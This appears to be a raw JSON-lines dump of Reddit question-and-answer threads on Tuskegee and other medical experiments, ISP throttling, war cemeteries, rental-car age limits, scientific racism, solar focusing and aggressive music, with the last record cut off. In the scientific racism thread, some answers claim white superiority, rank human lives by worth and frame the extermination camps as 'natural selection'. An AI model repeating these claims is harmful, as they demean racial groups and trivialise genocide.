syphilis.\n\n**SOURCES**\n\n_URL_14_\n\n_URL_8_\n\n_URL_10_\n\n_URL_4_\n\n_URL_7_\n\n_URL_0_\n\n_URL_5_\n\n_URL_12_\n\n_URL_6_\n\n_URL_13_\n\nDorr, Gregory (2008). Segregation's Science. Charlottesville: University of Virginia Press. pp. 10.\n\nLombardo, Paul A., Three Generations, No Imbeciles: Eugenics, the Supreme Court, and Buck v. Bell, Baltimore: The Johns Hopkins University Press, 2008.", "Please note that, in AskHistorians, the onus is on you to provide appropriate evidence for the historical claims you make. Stating that it can be found on Google is not helpful. Mentioning something you may have heard once is not helpful. Guessing based on what you remember from X number of years after the event is not helpful.\n\nProper comments for this subreddit should be in-depth, comprehensive, and informative while properly situating the answer in its historical context. It should also be backed by appropriate primary and secondary sources, whether or not explicitly mentioned in the comment (i.e. you should always be ready to provide sources if asked). In other words, answers here should be such as an historian of the subject would give. Simply writing a one or two sentence answer that only provides an example without contextualizing it is not sufficient for a top-level answer on this subreddit.\n\nThank you.", "Just for clarification, are the examples you mentioned ones that you already know enough about, or are those things you've heard about and would like further explanation and sources confirming/disproving them?", "Can I piggy back a question here... There seems to be a high level of distrust of \"the government\" amongst Americans. Has this always been the case? Does this distrust mainly come from revelations about programs like what OP is referring to? Is it because it was drilled into them as part of the Cold War e.g. Communism / USSR = big government, small government = freedom?", "From the 1930's through the 1970's the U.S. Public Health Service (Now the Deparment of Health and Human Services) performed clinical studies on the progression of untreated syphilis on rural black Americans in the South.\n\nUnder the guise of receiving free healthcare the men were left to suffer the slow onset of increasingly severe symptoms despite penicillin being a known course of treatment for syphilis since the early 40's.\n\nIf you're interested in learning more about the history of racism in American medicine I would highly recommend the book \"Medical Apartheid\" as it goes into great detail on Tuskeegee and other less known cases of experimentation and lower standard of medical care black people received in the US from colonial to modern times.", "Are you referring strictly to \"things\" tested by the government? Or are you also including tests of policy? If the latter, you may want to look into the [US's sterilization program in Puerto Rico](_URL_3_) in the mid-20th century. There's quite a bit of debate on the topic, so I'll remove my comment if it's inappropriate for this sub. Many questions concern the degree to which the consent of the women was informed and whether they were coerced into sterilization procedures. \n\nSome argue that it was a [designed program of population control](_URL_1_) rooted in colonialism. Others claim that the sterilization was willingly pursued by Puerto Rican women, but that this [decision](_URL_2_) was heavily influenced by a limited access to other forms of contraception and ignorance of the procedure's permanent nature. \n\nPart of the argument is also framed by how you view sterilization trends that continued beyond the time frame of active US government intervention.  As [this study shows,](_URL_0_) there remained a preference for sterilization in Puerto Rico stretching at least into the 1980s. I am not very well-versed in the details myself and, given the controversial nature of the topic, impartial sources are difficult to find. \n\n", "When you look at these incidents, I would recommend keeping clear what the particular misdeed was; in many cases, what one might be looking for is the failure to provide an opportunity for informed consent from the patient, coupled with the professional responsibility of a doctor to do the best they can for an individual patient's welfare rather than \"choosing martyrs\" for some notion of a greater good. Which is, as I'll suggest, a relatively recent phenomenon as  the medical research default, specifically 1964. Then, of course, you have the complicating factors of experimentation on marginalized groups within the US or non-citizens in foreign countries without the defense of domestic law to stand between them and American researchers, and whatever structural -isms that might generate a somewhat cavalier attitude towards individual human welfare. \n\nA useful source would be **Susan Reverby's *Examining Tuskegee***, which covers a wide variety of these programs in the 20th century. More on that in a bit. \n\nIt's probably worth noting that some historians (*Sex, Sin, and Science: A History of Syphilis in America*, John Parascandola) argue that, complicating the popular portrayal of Tuskegee, the initial design of the program was to study and treat what was regarded as a syphilis epidemic that was especially prevalent in the black community in those areas. When the depression (and structural racism, in terms of priorities, no doubt) drove funding cuts, government-and-private-funded treatment was no longer on the table and the choice before researchers was monitoring without treatment or no monitoring with no treatment. Along the way there were multiple smaller-scale choices about withholding information from patients about the current state of treatment in medical science and that kind of thing. \n\nI would say that the cuts in private funding in 1931 are certainly a big factor in switching to an observation-only phase from an initial attempt at treatment as part of a broader anti-std initiative, but it's worth underlining that the previous treatment efforts on black men were with highly toxic chemicals that had low cure outcomes and terrible side effects. This does not speak well to whether the scientists in question regarded the subjects more as patients than guinea pigs. Subsequently, treatment was *still withheld* after the draft and penicillin's wide availability in 1940 as part of war-minded preparations of war-age men, which is probably the more widely known aspect of the case.  \n\nBut at the very least Parascondola gives us the root of an answer for how the decision might have been initially approached. \n\nBack to Reverby: it gets even more clear-cut with the recently uncovered (by Reverby) and never-published study in Guatemala from 1946-48, under scientists and doctors who would continue on with the post-1948 Tuskegee observations such as Jay Cutler. In this study, prostitutes were infected with syphilis deliberately and then used to infect inmates, soldiers, and others under observation; if the syphilis failed to take they would be injected with it directly. At which point penicillin would or would not be employed, depending on the needs of the observers. Needless to say, deliberate infection, from the same minds that brought and kept Tuskegee alive including former surgeon general Thomas Parran, actually leaves us right back at the popular idea that the US government was guilty of sponsoring unethical, inhumane, and criminal conduct on the part of scientists and doctors. But the details, again, give us a sense for how these things happened; Parran himself freely acknowledged that these particular experiments could never have been done in the US, but apparently that was not something that gave him pause. \n\nIt's worth underlining that the public-private partnership in many of these cases makes it difficult sometimes to say \"the government did x\".  In 1955 doctors at the Willowbrook facility in New York capitalized on an exiting hepatitis B epidemic among the mentally disabled children in the facility, in order to further spread the virus to create immunities. They had government funding, from Armed Forces Epidemiology within the Surgeon General's office, but again, it's probably useful to keep these ambiguous chains of command in mind. \n\nThey did obtain about as informed consent as you can get from parents who are laypersons, but there are many obvious ethical problems with the experiments. You can see the consent forms [here](_URL_1_) and this [relatively recent apologia](_URL_0_) for the experiments should give you a good idea of how fraught the question still is for some experts on bioethics. \n\nAt that point you get to initiatives like Chester Southam's injection of live cancer cells into non-cancerous elderly patients without their informed consent in 1961; he was outed by fellow doctors and was mildly censured, but it does illustrate the generally permissive mindset of researchers generally in terms of ethics vs. results. This brings us to 1964 and the Helsinki Declaration, wherein the \"informed consent\" standard and the \"no martyr\" standard, among many other useful and constantly evolving things, were internationally codified as a medical standard. Note that the Willowbrook experiments would continue in some form until 1970, and there are probably other examples that, at best, blur that seemingly unequivocal Helsinki standard around the problem of targeting marginalized or incompletely informed groups. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.hartford-hwp.com/archives/45/300.html", "https://supreme.justia.com/cases/federal/us/274/200/case.html#207", "plusbiopolitics.files.wordpress.com/2008/03/story.jpg", "http://h", "http://en.wikipedia.org/wiki/Margaret_Sanger#Eugenics", "http://www.uvm.edu/~lkaelber/eugenics/CA/CA.html", "http://en.wikipedia.org/wiki/Sir_Francis_Galton#Heredity.2C_historiometry_and_eugenics", "http://en.wikipedia.org/wiki/Buck_v._Bell", "http://en.wikipedia.org/wiki/Tuskegee_syphilis_experiment", "https://en.wikipedia.org/wiki/Eugenics_in_the_United_States", "http://en.wikipedia.org/wiki/Charles_Darwin", "https://en.wikipedia.org/wiki/Tuskegee_syphilis_experiment", "http://www.uvm.edu/~lkaelber/eugenics/", "http://en.wikipedia.org/wiki/Eugenics_in_the_United_States", "http://www.infoplease.com/spot/bhmtuskegee1.html"], [], [], [], [], ["http://www.ncbi.nlm.nih.gov/pubmed/1426184", "https://www.uic.edu/orgs/cwluherstory/CWLUArchive/puertorico.html", "https://www.law.berkeley.edu/php-programs/centers/crrj/zotero/loadfile.php?entity_key=CS6NB845", "https://en.wikipedia.org/wiki/Compulsory_sterilization#Puerto_Rico"], ["http://science.jburroughs.org/mbahe/BioEthics/Articles/WilliowbrookRobinson2008.pdf", "https://science.education.nih.gov/supplements/nih9/bioethics/guide/pdf/master_5-4.pdf"]]}
{"q_id": "dpzsxh", "title": "how to internet service providers, manipulate how fast or slow your internet connection is without any of their software on your device?", "selftext": "I've noticed some local ISPs have different rates for different speeds. How do they do accurately choke your internet connection without having to do anything to your device?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dpzsxh/eli5_how_to_internet_service_providers_manipulate/", "answers": {"a_id": ["f5zrt2q", "f5zruk4", "f5zxtnc", "f600b46"], "score": [42, 2, 8, 2], "text": ["Imagine a water hose.  On one end is connected a garden sprayer.  The other end is connected to the water faucet.\n\nIf you squeeze the handle, you can control how much water comes out the sprayer.  But the guy standing at the faucet can begin reducing the amount of water coming to the sprayer.  If he reduces the water enough, it doesn't matter how much you squeeze the sprayer.\n\nThe water is your internet speed.  You and your sprayer are all your internet gear (modem, router, etc.). The guy at the faucet is your ISP.", "Think of your internet connection like a hose pipe.  At the ISP end they have a tap for each hose going to someones house that is connected to the 'big' internet main pipe.  They just turn the tap up or down depending on how much you pay. \nKeep in mind that if everyone wants the taps fully on, the main pipe 'should' be sized to cope, but it never is that is why at peak times the internet is slow.", "Your internet access goes through them, they don't need access to your device. They control your traffic directly: you send data to them, they relay it to the rest of the internet at whatever speed you pay for. When you download something, they relay that data from the source back to you at whatever speed you pay for.", "An interface on a router has a physical speed. It could be 1 Gb/s, 10 Gb/s, 100 Mb/s, etc. Often times the logical speed of a circuit does not match the physical speed. The provider uses Quality of Service (QoS) mechanisms like traffic policing which basically says allow traffic up to X Mb/s (or Gb/s) and drop the rest. The logical rate you pay for is called the Committed Information Rate (CIR). When you increase your plan the provider modifies the policy on their side where you are connecting. These policies are templates so it's not like they are reinventing the wheel every time someone changes their plan.\n\nThink of it like a window on a sunny day. If you have no blinds you are letting in 100% sunshine up to the physical capacity of the window (basically the size of the window is like the physical capacity of the port on the router). If you add blinds and start to close them, you begin to reduce the amount of sunshine allowed in incrementally until they are fully closed, which would be a very slow plan (like 3 Mb/s, which absolutely does exist). The outside world is oblivious to your limitations, meaning that it does not dial back the amount of light sent just because you have blinds on the window. However, it's not always very sunny so sometimes there is nothing to block as the amount sent is less than the maximum allowed and other times a lot is blocked on a very sunny day. You can never exceed the physical maximum of the window size so if that was not enough, you would need a bigger window (the equivalent of faster cabling, ports, routers, etc. Which is where you get into Cat 6, fiber, etc.) as well as bigger blinds."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1l6mvp", "title": "Yesterday I visited the Tyne Cot (Commonwealth) and Langemark (German) cemeteries near Passchendaele in Belgium. I was struck my how different they both were, what factors influence how a country honours their dead soldiers?", "selftext": "Sorry if that title was a touch vague, bit in particular I'm talking about the Germans and the British after the First World War. From what I have read online some people have accused the British cemetery of glorifying war whilst the German cemetery is of a more tasteful tone.\n\nI did note however that the German site appears to be maintained through donations whilst I got the impression that the British government pays for the maintenance of their cemeteries.\n\nSo what I'm asking is are there any factors that influence these sites? Political influence, or the result of the wars they represent? Or are they merely just the best way a country decides they can honour the dead?\n\nFor some context here are a couple of photographs which demonstrates the difference between the two.\n\nTyne Cot:\n_URL_1_\n\nLangemark:\n_URL_0_\n\nThere were quite a few people at Tyne Cot, maybe 50 or so while I was there, and they had a small visitor centre which was fairly informative. There was also an eerie recording playing of a child reading out the names of all those who had perished there.  In contrast I was surprised when I got to Langemark to find I was the only person there. There was only a small sign that gave any information in English (which I'm not moaning about, it is a German cemetery after all) and the site was not well maintained.\n\nWell, sorry for the long post, I hope I made my question clear, this is my first post in the subreddit and I typing on my phone!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1l6mvp/yesterday_i_visited_the_tyne_cot_commonwealth_and/", "answers": {"a_id": ["cbw95wn", "cbwbd9h", "cbwcnri", "cbx1lnr"], "score": [13, 15, 3, 2], "text": ["One factor worth noting is that both cemeteries are in Belgium, a country which was invaded and occupied by the German Army during WWI and which the British were, at least nominally, fighting to defend. It's easy to see why any German war memorials in the country would be some what understated.  \n\n", "I'm not sure anyone can give you a definite answer to your question. There are several factors that might account for the difference. \n\nAs you have noted yourself, the Commonwealth graves are administered and maintained by the Commonwealth War Graves Commission, which is governed by a board consisting mainly of diplomats and army staff, and is funded by the Commonwealth governments. The German war graves (all over the world, not just in Belgium) are maintained by the Volksbund Deutsche Kriegsgr\u00e4berf\u00fcrsorge, which calls itself a humanitarian organisation and gets 70% of its funding through private donations. However, it has an official mandate from the German government and receives 30% of its funding from public moneys, so it's not completely free from political pressure or policy. It has as its motto \"Remembrance and Peace\" and also promotes educational (youth) activities under the slogan \"Reconciliation above the graves\u201d. \n\nAnother factor determining the look and feel of the German war cemeteries in Belgium is the time period in which they were designed. There used to be 128 small German war cemeteries, these were reduced to four large ones: Menen, Hooglede, Langemark and Vladslo, and they look very similar. This happened in the 1950s, at a time when Germany was coming to terms with the fact that it had been the villain in the century's two world wars. It is only natural that the design of the cemeteries would be rather subdued, understated and melancholy. Tyne Cot, on the other hand, was designed right after WWI, by the victorious British Empire.\n\nThirdly, the German war cemeteries in Belgium are the resting place of a defeated invading nation, which can hardly afford to appear all sabre-rattling, whereas Tyne Cot holds the graves of victorious allies, allowing them full scope to spread themselves about and be a bit gung-ho.", "When I visited these graves in Belgium, I asked the same questions to the person guiding us. Her response was that there was much less interest from Germans in visiting the graves of WWI than from people from Allied nations. She said that in any attention people in Germany might have paid to WWI was completely overshadowed by WWII, which (understandably) has become the centre of much more focus in Germany. She said that there is no interest in Germany in remembering WWI, and that very few Germans visit the grave sites. \n\n\nNow, this is only anecdotal evidence from a Belgian tour guide, but I do believe that it is an interesting thought, and would be interested to learn more about the remembrance of WWI in Germany. \n\nAs a note, I experienced the same thing as you. The Langemark site was deserted, unlike all the allied cemeteries I visited. \n", "To my German eyes the cementary looks perfectly fine, might be that underfunding played a role in it, but we kinda like our cemetaries that way. "]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/fJb73rH.jpg", "http://i.imgur.com/akrCIsf.png"], "answers_urls": [[], [], [], []]}
{"q_id": "32vp0o", "title": "why such a high age limit to rent a car compared to other age limits? (smoking, drinking, etc.)", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/32vp0o/eli5_why_such_a_high_age_limit_to_rent_a_car/", "answers": {"a_id": ["cqf2fmg", "cqf2g3c", "cqf2tlk", "cqf2vn8", "cqf3040"], "score": [28, 8, 24, 2, 7], "text": ["Age limits for smoking and drinking are set by government. They get tax money for your vices so they let you start as early as they can justify politically.\n\nRental car age limits are corporate policy based on the statistical likelihood that you will total their car and send their fleet insurance through the roof.", "It's not a legal limit but one put on by individual companies mainly for insurance purposes. There's no doubt that people under 25 get in more accidents. ", "You can still rent a car under 25, but you'll have to pay an under-age fee. They charge you this fee because people under 25 are statistically more likely to get into accidents, and that fee is a form of insurance.", "Age limit for renting a car is due to a history of underage people doing stupid things in cars because they are not their own cars.\n\nIts easy to ent a car, and do something stuipid in it, cause thousands of dollars in damage, and then return the car to the rental company.\n\nInsurance companies now require a specific age to help stave out impulsive, uncontrolled and inexperienced drivers from acquiring a rental for this very reason.\n\nMost rental car agencies set this arbitrary limit around 25, though im not sure depending on state laws what the actual hard line is.", "Because corporations are legally allowed to use statistical data to their advantage (even to the point of exclusion of a certain group). I've also seen hotels where you have to be 25 and over. The United States has always had a strangely distrustful attitude towards young people. It's one of the last few developed countries in the world that still has a drinking age of over 21. And what do people want to do when they find out they *can't* do something that others can? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "5pm3xr", "title": "how do we actually know that scientific racism is wrong?", "selftext": "High school biology student here. I have a possibly controversial question I wasn't bold enough to ask in class.\n\nWe've all heard how in the 19th and early 20th century, there were many so-called scientific claims about how blacks and other minorities were intellectually and morally inferior to whites. It's now widely accepted that these ideas are wrong, to the point where somebody like James Watson can have his career ruined for believing some of them.\n\nHow do we actually know these old theories are wrong, though? What methodological flaws did all of the relevant studies have? I've done some cursory research and have yet to see anybody address or disprove any of them - people just seem to accuse their proponents of racism and all discussion is dropped.\n\nIf anybody could answer this question without delving into anything overly complicated, I'd appreciate it. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5pm3xr/eli5_how_do_we_actually_know_that_scientific/", "answers": {"a_id": ["dcs7dt2", "dcs7gfi", "dcs7i9c", "dcs91sh", "dcs97j4", "dcs9gat", "dcsaytf", "dcsbtaj", "dcsbvd4", "dcsexun", "dcshasl", "dcssdlg", "dcsyhex", "dct5bhv", "dctav0o"], "score": [118, 21, 15, 7, 19, 32, 2, 2, 2, 65, 2, 3, 2, 3, 5], "text": ["Genetically, there are no races.\n\nAlso, the most biologically-diverse group of humans are those with direct and recent ancestors from sub-Saharan Africa....meaning if a human from outside of Africa is capable of doing it, a human in Africa is capable of doing it....at least in terms of intelligence and physical ability. It is pretty hard to argue genetic superiority for Europeans or Asians given the genetic evidence.\n\nThe methodological flaws in most research in the area is that Europeans are biasing the study to (shocking, I know!!!) show Europeans are superior!", "Because DNA doesn't arrange itself into the classification of \"races.\" So there is no such thing as a \"race.\" For example, how many races are indigenous to Japan? One? Three? Fourteen? Seven thousand? All answers are equally correct because there is no genetic basis for the term \"race.\"\n", "There are certainly genes which effect the way people think and act. But as you probably know there is as much variation within races as there is between.       \n\nIf there are studies which show that there are certain genes which are superior in some tangible way then the superior group will almost certainly not conform to any traditional group.        \n\nCounter example to my point: Ashkenazi Jews.", "The last big piece on this was \"The Bell Curve\" back in the 90s. It's not kosher to talk about intelligence and races anymore, because race is an inconvenient, non-deterministic and somewhat upsetting way of grouping people. Plus, it's not necessarily accurate, as others have pointed out, and is subject to abuse.\n\n\nThat said, there are differences between groups, even though people argue about how to define those groups in a precise way. Since this line of research has basically been shut down it's hard to say what those differences are anymore. As an example, Ashkenazi Jews are said to be a standard deviation or two smarter than \"average.\" People will start picking that statement apart, for obvious reasons.\n\n\nAsk yourself this question: how many Nobel Prize winners were \"your group here.\" Your group could be \"dentists,\" \"eskimos,\" or \"high school seniors\"and you'd get the same answer. The question is pointless.\n\n\nA more interesting question has popped up, though, that has more bearing on this: can you evaluate the future prospects of someone given a basket of behaviors? And the answer to that apparently is \"maybe yes.\" The most recent story on it is here: _URL_0_", "There's a lot of good info here, but just to highlight - the original \"studies\" about race and racial differences would in no way stand up to any of today's scientific rigour. They were funded by people with an ideal outcome, and carried out by people with limited resources and a heavy bias. It's important to always \"consider the source\" when it comes to historical accounts - most surviving documentation was written by somebody who won a conflict, not those who lost. ", "A huge portion is just wrong because it was old science and based on nonsense, like phrenology. \n\nAnother whole bunch, we found other, better explanations for. A lot of studies showing that X, Y, Z environmental factors contribute to some condition are refutations of some old racist theory. E.g. There was a bunch of dumb stuff about black people and asthma.\n\nThe rest, and arguably most important chunk though is just boring ass statistics. Actually, as it happens, a huge part of the history of statics comes down to this fight. Ser Francis Galton invented correlation and regression analysis, and he named them such to advance his own theory of \"survival of the fittest\" (also his invention) among the races of man. The tldr of it is that the best evidence for racist theories just don't have enough power to reject the null hypothesis of racial equality. In fact, they don't have the statistical power to justify breaking people up into the standard six race model (white black Asian Indian native American Aboriginee) or really just about any racial model you want.", "Because they're not scientific.  They don't control for environmental factors like poverty, upbringing, oppression, etc.\n\nBy the way, \"race\" is not a biological thing, it's a social thing -- it's a made-up, pseudoscientific way in which some people have separated other people into groups.  It's a combination of genetics + social conventions + environmental factors.  It doesn't necessarily have a biological or scientific underpinning.\n\nRoughly speaking, there are in fact genetic differences between different groups of people, but those differences are not the same as what people identify as race.  For instance, the genetic diversity in Africa is much greater than the genetic diversity in Europe, but racist Europeans tend to discuss Africans as a monolith and break Europeans into small groups.  We talk about \"ancestry\" in biology, and only very rarely talk about race in special contexts; for instance, we talk about \"race\" when studying what answers people give when they're asked to check a box that asks for their \"race\".  The box they check is then considered to be a proxy for genetics+environment+social factors, and if we study their genetics then we can learn something about those environmental factors (and social factors, which we lump together).\n\nIn fact, I saw a recent study where they sequenced a few dozen Americans who thought their ancestry was 100% African.  It turned out that they were totally wrong -- their African ancestry ran from something like 10% to 95% and spanned the whole gamut fairly uniformly.", "Morality is a subjective and culturally defined concept so it alone is proof that these \"studies\" lack any real science.\n\nIt goes like this \"Oh you've never heard of Jesus and therefore don't follow my exact set of Christian beliefs and morals? You lack morality\"\n", "Disclaimer: Controversial. Please read entire post before you explain why I'm wrong if that is the case.  \n  \nWhat I find interesting, and it is impossible to say this without being politically incorrect, is how people can argue that race superiority is \"false\". If one considers whites, blacks, hispanics, asian and all that as different races as many people use the definition (though genetically wrong as Sunfest points out) and consider cultural values and technological development of these races. Then one would not be wrong in that white people are the superior race when one considers standards of living, technological advancement and personal liberty.  \n  \nFor example. It is a quantifiable truth that white people are superior to other \"races\" if one defines race by groups of people based on skintone and culture measured against the achievements they have reached in what value they can provide humanity as a whole.  \n  \nAs a sidenote. This stretches to morals and ethics (non-race related). The value of the life of a cancer research scientist is, undisputedly higher than a hobo on the street that can never provide a value to humanity as a whole. Thus, the life of one person DOES have a higher value than others. I have always been puzzled by how people can deny what is a provable fact. That one life is worth more than another and not all life is equally valuable to mankind.  \n  \nWhere I'm going with this is the following. Lets say all black OR all white people suddenly disappeared from the earth. Since  the sum of human achievements, advancement and values **IS** measurable. How can people say that white people are not worth more than black people if humanity as a whole suffers more if white people where suddenly to vanish? Note that this is taking cultural values and scientific advancement into account based on ethnicity. My post does not argue that any race is genetically superior.  \n  \nEnglish is not my native language, sorry for any grammar mistakes. No, I'm not a racist. I'm just playing the devils advocate here for the sake of discussion and hopefully an explanation.", "There *are* differences between different groups of humans. That doesn't mean that some are superior to others. Science confirms differences, but not in a meaningful way.\n\nAsians have less offensive body odours, and dry earwax compared to Westerners. I envy them for that. There's more lactose intolerance in Africa than in Europe. Or more accurately, Europeans developed a higher tolerance than Africans. Then there's sickle cell anaemia, which is much more prevalent in Africans and their descendants.\n\nBut we never discovered any superiority as such, not in the modern definition of \"race\" which almost exclusively focuses on skin colour and intelligence. On the other hand, genetic differences have played a large part in human evolution, so we could well claim that Homo sapiens were superior to Homo neanderthalensis. Arguably racist, but there's some truth in that. Future catastrophes will show us, if there are any survivors, which subtle differences allow some genetic variants to flourish while others go extinct. Superiority in hindsight.\n\nAnd it's the least PC subject ever, so we'll probably never know for sure anyway. The Nazis tried but failed to find any fundamental differences. They really, *really* tried.\n\nUnpopular opinion of the month: Being Jewish was a \"race\"-related condition that led to lower survival rates in Germany during the war. An indirect genetic weakness based on subtle facial differences. Were the extermination camps some form of natural selection? Is there such a thing as *un*natural selection? Are humans removed from nature? Try discussing *that* in class.\n\nThe question of *nature* vs *nurture* also rears its contentious head. Are rednecks less intelligent than others, or is it a cultural issue?\n\nI'm not sure I managed to ELY5, but I'm sure I managed to offend quite a few, which is much easier.", "One thing I've not seen mentioned - skimming after the first few threaded replies so sorry if I missed it - is that there is also often an inherent bias in the testing methods used.\n\nFor instance IQ tests have, until recently, often shown that Western people had a higher IQ than non-westerners, which was assumed to meant that they were more intelligent. But the actual cause was the test being set by a westerner and really tested how well exposed to western ideas an individual might be, rather than showing anything to do with an inherent difference in intelligence ", "It should be noted that many racially biased forms of pseudoscience were conducted throughout the 1800s and early 1900s on the sole basis of cranial anatomy. This study was know as craniometry. It was used along with other methods including anthropometry. \n\nSome initial suggestions may have been made by naturalists such as Charles Darwin, and even favored by polygenists like Vogt. These ideas were developed into the systematic and \"metric\" forms of racism exhibited by those who practiced formal eugenics. \n(Please mind my non linear information)\nPieter Camper(1722-89) was a prominent figure in he World of this kind of thought. He was a craniometric theoretician who used his scientific methods to employ racism. By measurements made of the volume, angle of brow slope etc. of the skull in comparison to other primates \n\nIt's a very long and very deep subject but it can be easily summed up that modern science does not use these techniques, because they do not adequately show that one race* is superior to another, most races can mentally perform with the same level of intellect given a similar upbringing. Physical superiority is genetic and does happen, but not in the way that easily supports eugenics as it is. Superior Olympic runners may come from places like Kenya, because they have larger populations of individuals that have not lost the gene that expresses certain fast twitch and slow twitch muscle fibers differently than slower runner, a gene that is significantly lower in Western Europe (yet I am white and of Nordic descent and my family has this gene, and we have very strong legs, so it's not an easily usable form of racism). Stereotypes of intelligence or something that a race may be better at, may have some ground in reality, but physical connotations about the way a race looks rarely supports superior traits in an imperical fashion. \n\n*(which is actually a misnomer, humans are more akin to dog breeds, since we are all just slightly different variations of the same species,for now [some research and people, citation needed, suggests that certain mental changes seen in autism spectrum disorders, may in fact be an evolutionary response to the rather large increase in information fed to us since the turn of the 20th century and the turn of the 21st century])", " >  claims about how blacks and other minorities were intellectually and morally inferior to whites\n\nThere's no definition of \"intellectually superior\" and absolutely no way to show \"moral superiority\", so the claims themselves have no merit or substance to even be acknowledged. If you think we could judge this by something like IQ, I suggest your read the *huge volume of literature* showing how not only are any tests like that flawed *de facto* in numerous ways, but that it's not even a valid measure of \"intelligence\", since that's such a vague concept in the first place.\n\nTo put this another way - if you say that \"knowing how to use an iphone is the standard we use to define intelligence\", suddenly Einstein is an idiot? Nope, that's not how it works, same with this whole \"being born black means you're dumber and more perverted\"... you'd have to go ahead and ignore everything we know about society and culture to think that, though. \n\nSimply put, those \"studies\" chose definitions that would support their hypothesis... a big no-no in science, aka \"leading\" the conclusion.", "The problem with scientific racism is that it wasn't scientific at all.\n\nGenerally, someone researching in that topic would start out with the assumption that other races were inferior to theirs along the line of their preferred stereotype.  They would then look for physical characteristics of the other race(eg: shape of the head, relative lengths of limbs) and then claim that those characteristics were indicators for the stereotype.\n\nIn other words, they would start out with a conclusion that had no basis in evidence and then look for anything they could tack on to it to make their conclusion look legitimate.", "Actual simple reason?\n\nThe genes which people usually refer to as making up a persons race are actually part of a complicated continuum, such that there are not actually distinct \"races\", but rather a spectrum of humans with various visible features which we falsely group into a few ethnic labels. \n\nAlso, the genes which control things like skin/hair/eye color, hair straight/curled, eyelid folds, etc, do not appear to have any effect on the things which would be potentially judged \"superior/inferior\". E.g. Your skin color genes do not effect things like intelligence.\n\nIf you want more info ask . Im a biologist."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.thetimes.co.uk/article/three-year-olds-can-be-identified-as-criminals-of-the-future-5vwwf8lkq"], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "vkbve", "title": "Is it possible to achieve a temperature higher than the temperature of the surface of the sun using a system of lenses only using the energy of the sun?", "selftext": "Every sun ray has an energy of E=v*h. By focusing all the rays emitted by the sun to a single point on earth, would it be possible to achieve a temperature of over 6000K?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/vkbve/is_it_possible_to_achieve_a_temperature_higher/", "answers": {"a_id": ["c558w7k"], "score": [17], "text": ["No you cannot make something hotter than the surface of the sun by focussing sunlight onto something.\n\nWhat you do when you focus sunlight is basically increasing the apparent object size of the sun for the object being irradiated. (This is called the [brightness theorem](_URL_0_))\n\nIn the extreme case, you could make it so that the object in question \"looks\" at the surface of the sun in any direction it is looking.\n\nThe two objects (sun and target) would then move toward a thermal equilibrium until they reach the same temperature. Effectively (assuming the target is small) this means the target reaches 6000K and the temperature of the sun remains as it is.\n\nSimple thermodynamics.\n\nedit added reference to brightness theorem\n\nedit2: To make it clear, you cannot focus all the energy radiated from the sun onto an arbitrarily small surface. As a direct consequence of the brightness theorem the maximum is the output corresponding to a surface on the sun of the same size as the target surface. No matter how you arrange lenses and mirrors, there is a limit how strongly you can concentrate the sunlight."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://onlinelibrary.wiley.com/doi/10.1002/0471791598.app1/pdf"]]}
{"q_id": "e0qspp", "title": "why is listening to aggressive music so cathartic even though i myself am not physically or verbally venting?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/e0qspp/eli5_why_is_listening_to_aggressive_music_so/", "answers": {"a_id": ["f8gb1ur", "f8geou4", "f8gg5t8", "f8ghrl1", "f8gilz8", "f8gipfs", "f8gkvwa", "f8glews", "f8gmlck", "f8gmqw0", "f8gmt1p", "f8gocn4", "f8gsgip", "f8gtt71", "f8gtvl9", "f8gz8nv", "f8h021f", "f8h0i5v", "f8h2nxi"], "score": [1400, 39, 283, 6, 51, 4, 44, 79, 4, 7, 2, 2, 10, 3, 64, 3, 2, 3, 2], "text": ["You pretty much already said it. The music invokes a feeling of power and aggression in your mind, and with the right chord progressions probably also has this sort of sense of building up tension before \"releasing\" it in a resolving chord.\n\nEDIT: If you wanna see a great example of how chord progression can invoke these sorts of feelings, check out this video by TwosetViolin that puts a comedic take on the concept of emotions invoked by music:\n\n_URL_0_;\n\nThey illustrate Phillip Glass's weird obsession with going from tonic, to sub-dominant, to dominant degrees, but then returning to the tonic 'early'. It basically is the musical equivalent of blue-balling, never really giving the listener a sense of closure as the music doesn't ever seem to resolve.\n\n^if ^you ^can ^shill ^for ^sacrilegious ^boys ^slowly ^you ^can ^shill ^for ^them ^quickly", "I have experienced this as well. There is an album, *Bridge of Sighs,* that my brother used to listen to when he was really depressed. Meanwhile I, the younger sister, grew to love the music because it's just a fuckin great album. So my mother was always convinced that I was pathologically depressed too (to my detriment) but that's not the case at all.\n\nAlso, Nine Inch Nails and Joy Division are bands that, if you listen to the lyrics, you'd think they are depressing; but I find the music makes me really happy. I think in all three cases it's pretty much the same thing going on.", "There is also a correlation between feeling sad and listing to \u201csad\u201d music which actually creates a feeling of elation. \n\nFrom what I understand the feeling that \u201csomeone\u201d out there feels the same way, listening to something that makes you feel understood actually promotes that feeling emotionally to someone who really needs it. \n\nThe connections that music can create is worth far more than we really understand \n\n[psychology today ](_URL_0_)", "On an unrelated note, have you listened to Machine Heads latest album Catharsis? Really sick album.", "there is also something called the Mozart Effect:\n\n [_URL_0_](_URL_1_) \n\nwhich may or may not be true. \n\nBut I do custom woodwork for a living, and used to listen to heavy metal/ hard rock.  When I made the switch to classical everything went alot \"smoother\" , things got less \"broke\"  and I found myself working more efficiently and accurately.  it also  works with say Latino music.. which I dont understand..  so its essentially classical music with weird fleshy instruments. \n\njust dont listen to country.. you will lose everything you own. :)", "This happens anytime i listen to Slayer, honestly. Angel of Death and Disciple. no exaggeration, My heart rate doubles, i get chills, my face and arms go numb. and then my eyes start looking for someone, like i'm about to be attacked. it's a real thrilling 